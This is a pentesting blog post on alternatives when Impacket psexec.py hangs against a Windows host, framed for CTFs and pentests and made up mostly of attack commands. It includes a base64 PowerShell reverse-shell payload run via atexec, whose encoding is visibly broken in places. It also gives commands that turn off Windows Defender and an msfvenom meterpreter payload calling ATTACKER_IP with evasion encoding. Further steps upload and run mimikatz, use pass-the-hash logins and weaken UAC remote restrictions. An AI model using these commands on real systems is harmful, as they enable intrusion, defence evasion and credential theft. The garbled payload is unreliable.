By using this site, you agree to the Privacy Policy and Terms of Use.
Accept

AceFortis

Cybersecurity Research

  • Home
Search

Categories

  • Cybersecurity
  • Penetration Testing
  • Frameworks & Theory
  • CVE & Vulnerabilities
  • Hacking Tutorials
  • Tools & Reviews
  • CTF
  • Certifications

Tools & Platforms

  • TryHackMe vs HackTheBox: A Beginner’s Comparison
  • Burp Suite vs OWASP ZAP: Complete Pentesting Comparison
  • Kali vs Parrot OS: Best Pentesting Distro 2026 Comparison
  • Metasploit vs Cobalt Strike: Features, Pricing, Evasion
  • Nmap Network Scanning Tutorial for Beginners (2026)
  • Contact
  • Blog
  • Complaint
  • Advertise
© 2026 AceFortis. All Rights Reserved.
Reading: Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)
Share
Notification Show More
Font ResizerAa

AceFortis

Cybersecurity Research

Font ResizerAa
Search
Follow US
  • Contact
  • Blog
  • Complaint
  • Advertise
© 2026 AceFortis. All Rights Reserved.

Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)

0x1ak4sh
Last updated: August 8, 2026 5:53 pm
0x1ak4sh
Share
SHARE

Impacket psexec.py Hangs? Here’s Why (And What to Use Instead)

Hey friend, you’ve got credentials for a Windows box, fire up psexec.py from Impacket, and… it just hangs. The upload happens, you see “Bypassing command execution” and then—nothing. Dead. Silence.

Contents
Problem #1: psexec.py Uploads Binary Then HangsWhy This HappensSolution #1: Use wmiexec.py Instead (Recommended)Solution #2: Use smbexec.py (Alternative)Solution #3: Use atexec.py (Scheduled Tasks)Solution #4: Use dcomexec.py (DCOM)Solution #5: Disable Windows Defender FirstSolution #6: Use NetExec/CrackMapExec InsteadSolution #7: Encode Your PayloadSolution #8: Use Evil-WinRM (PowerShell Remoting)Problem #2: “Access is Denied” ErrorCauses:Fix: Check LocalAccountTokenFilterPolicyProblem #3: Connection TimeoutCauses:Fix: Check SMB ConnectivityProblem #4: NTLM Authentication FailedFix: Try Different AuthenticationQuick Reference: Alternative Tools MatrixBottom Line

This is one of the most frustrating problems in CTFs and pentests. Let me show you exactly why it happens and the bulletproof alternatives that work when psexec fails.

Problem #1: psexec.py Uploads Binary Then Hangs

You run:

psexec.py administrator@10.10.10.50

Enter password, see:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.50.....
[*] Found writable share ADMIN$
[*] Uploading file nXKmPqaR.exe
[*] Uploading service binary to C:\Windows\nXKmPqaR.exe
[*] Opening service manager on 10.10.10.50.....
[!] Was unable to open service manager: SERVICE_NAME_INVALID

Or worse—it uploads, starts service, and then nothing happens. No shell.

Why This Happens

  1. Anti-virus (AV) blocks execution – Modern AV detects default psexec binaries and kills them instantly
  2. Windows Defender – Even without third-party AV, Windows Defender’s real-time protection catches Impacket
  3. Service execution blocked – Some environments restrict service creation or execution
  4. UAC/LocalAccountTokenFilterPolicy – Administrative privileges aren’t passing through correctly

Solution #1: Use wmiexec.py Instead (Recommended)

WMI (Windows Management Instrumentation) execution bypasses service creation entirely. This is my go-to when psexec fails.

Command:

wmiexec.py administrator@10.10.10.50

Or with hash:

wmiexec.py -hashes :32196B56FFE6F35E8A77B01AE4E633A6 administrator@10.10.10.50

Advantages:

  • Doesn’t create a service (stealthier)
  • Doesn’t write files to disk
  • Works when psexec is blocked
  • Often bypasses basic AV signatures

Disadvantages:

  • Semi-interactive shell (not full terminal)
  • Some commands timeout or fail
  • Output formatting is weird sometimes

Solution #2: Use smbexec.py (Alternative)

SMB exec uses SMB shares to execute commands without writing a binary to disk.

smbexec.py administrator@10.10.10.50

Or with hash:

smbexec.py -hashes :32196B56FFE6F35E8A77B01AE4E633A6 administrator@10.10.10.50

Advantages:

  • No binary upload to disk
  • Bypasses file-based AV detection
  • Semi-interactive command execution

Solution #3: Use atexec.py (Scheduled Tasks)

Scheduled task execution is often overlooked but extremely reliable.

atexec.py administrator@10.10.10.50 "command"

Example – Get a shell:

# Create reverse shell payload
atexec.py administrator@10.10.10.50 "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABjAGwAaQBlAG4AdAAuAGMAbwBuAG4AZQBjAHQAKA'nAEEAVABUAEEAQwBLAEUAUgBfAEkAUAA'nACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAIAB7ADAAeAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAA7ACQAcwBlAG4AZABiAGEAYwBr`+ ACAAJABzAGUAbgBkAGIAYQBjAGsAIAAyAD4AJgAxACAAfAAgACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgBhAGMAawAsADAALAAkAHMAZQBuAGQAYgBhAGMAawAuAEwAZQBuAGcAdABoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

Then catch the shell with your listener.

Solution #4: Use dcomexec.py (DCOM)

DCOM execution is less common and often bypasses restrictions that block psexec.

dcomexec.py administrator@10.10.10.50

Available shells:

  • -object 'MMC20.Application' (default)
  • -object 'ShellWindows'
  • -object 'ShellBrowserWindow'

Example:

dcomexec.py -object 'ShellWindows' administrator@10.10.10.50

Solution #5: Disable Windows Defender First

If you have remote execution but Defender is killing your binaries:

Option A: Using wmiexec to disable Defender:

wmiexec.py administrator@10.10.10.50

# Disable Real-time Monitoring
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"

# Or completely disable Windows Defender
powershell -c "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"

Option B: Using NetExec/CrackMapExec:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -M defqon_disable_defender

Option C: Using powershell_remoting (if enabled):

evil-winrm -i 10.10.10.50 -u administrator -p 'Password123'

# Disable Defender
Set-MpPreference -DisableRealtimeMonitoring $true

Solution #6: Use NetExec/CrackMapExec Instead

NetExec (modern fork of CrackMapExec) is often more reliable than Impacket

Command execution:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -x 'whoami'

Spawn shell:

nxc smb 10.10.10.50 -u administrator -p 'Password123' -x 'powershell -e '

Using wmi:

nxc wmi 10.10.10.50 -u administrator -p 'Password123' -x 'whoami'

Solution #7: Encode Your Payload

When AV detection is the issue, encode your binary or payload:

Generate encoded payload with msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > payload.exe

Then upload manually via SMB:

smbclient.py administrator@10.10.10.50

# In smbclient
use ADMIN$
put payload.exe
exit

# Now execute via wmiexec
wmiexec.py administrator@10.10.10.50 "C:\Windows\payload.exe"

Solution #8: Use Evil-WinRM (PowerShell Remoting)

If port 5985/5986 (WinRM) is open, this is the most stable option:

evil-winrm -i 10.10.10.50 -u administrator -p 'Password123'

Or with hash:

evil-winrm -i 10.10.10.50 -u administrator -H 32196B56FFE6F35E8A77B01AE4E633A6

Advantages:

  • Full interactive PowerShell session
  • No binary upload
  • Bypasses most AV
  • Tab completion works
  • Upload/download files easily

Bonus – Upload tools:

evil-winrm> upload /path/to/mimikatz.exe C:\Windows\Temp\mimikatz.exe
evil-winrm> C:\Windows\Temp\mimikatz.exe

Problem #2: “Access is Denied” Error

You get:

[!] Was unable to open service manager: ACCESS_DENIED

Causes:

  1. UAC (User Account Control) is blocking remote admin access
  2. LocalAccountTokenFilterPolicy not configured
  3. Account is not actually admin

Fix: Check LocalAccountTokenFilterPolicy

On the target machine (if you have other access):

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

If it’s not set to 1, enable it:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Now retry psexec.

Problem #3: Connection Timeout

psexec.py hangs trying to connect:

[*] Requesting shares on 10.10.10.50.....
[timeout]

Causes:

  1. SMB port 445 blocked by firewall
  2. IPSec or VPN required
  3. Target offline

Fix: Check SMB Connectivity

ping 10.10.10.50
nmap -p 445,139 10.10.10.50
smbclient -L 10.10.10.50 -U administrator

Problem #4: NTLM Authentication Failed

You get:

[-] NTLM Session Error: STATUS_LOGON_FAILURE

Fix: Try Different Authentication

# Try with domain
psexec.py domain/administrator@10.10.10.50

# Try with LM hash too
psexec.py -hashes LMHASH:NTHASH administrator@10.10.10.50

# Try Kerberos (if domain joined)
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass administrator@target.domain.local

Quick Reference: Alternative Tools Matrix

ToolMethodDisk Write?AV BypassBest For
wmiexec.pyWMINo⭐⭐⭐⭐psexec blocked
smbexec.pySMBNo⭐⭐⭐⭐no files on disk
atexec.pyTasksNo⭐⭐⭐one-off commands
dcomexec.pyDCOMNo⭐⭐⭐psexec+wmi blocked
evil-winrmWinRMNo⭐⭐⭐⭐⭐full shell needs
nxc/wmiWMINo⭐⭐⭐⭐quick commands
psexec.pyServiceYes⭐last resort

Bottom Line

When psexec.py hangs, don’t waste time debugging. Switch to:

  1. wmiexec.py – Most reliable alternative
  2. evil-winrm – If port 5985/5986 is open (best experience)
  3. smbexec.py – If WMI is blocked
  4. atexec.py – For quick one-liner execution
  5. dcomexec.py – Last resort alternative
  6. NetExec – Modern, actively maintained

And always check if Windows Defender is the culprit—disable it first with wmiexec or evil-winrm before trying other methods.

You Might Also Like

What is Blue Teaming? A Complete Beginner’s Guide
The 5 Phases of Penetration Testing: A Complete Framework
TryHackMe vs HackTheBox: A Beginner’s Comparison
What is Ethical Hacking? A Beginner’s Guide
Tor Browser Safety 2026: A Beginner’s Guide

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
[mc4wp_form]
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Share This Article
Facebook Copy Link Print
Share
Previous Article Reverse Shell Dies Immediately? Here’s How to Fix It (Every Time)
Next Article LinPEAS Finds Nothing? Here’s How to Find Privilege Escalation Manually
Leave a Comment

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Latest News

WinPEAS Finds Nothing? Manual Windows Privilege Escalation Techniques
OSCP Exam Prep: Active Directory Attack Strategies
Linux Privilege Escalation: Complete CTF Guide
Impacket Tools Mastery: Essential CTF Weaponry

You Might also Like

Cybersecurity

Is Tor Browser Safe in 2026? A Realistic Guide for Beginners

0x1ak4sh
0x1ak4sh
18 Min Read
Cybersecurity

Get a Cybersecurity Job in 2026: No-Degree Beginner’s Guide

0x1ak4sh
0x1ak4sh
15 Min Read
Uncategorized

What is Phishing? 2026 Guide to Spot & Stop Attacks

0x1ak4sh
0x1ak4sh
15 Min Read
//

Sharing knowledge that keeps the digital world a little safer.

Sign Up for Our Newsletter

Subscribe to our newsletter to get our newest articles instantly!

[mc4wp_form id=”1616″]

AceFortisAceFortis
Follow US
© 2026 AceFortis. All Rights Reserved.
Welcome Back!

Sign in to your account

Username or Email Address
Password

Lost your password?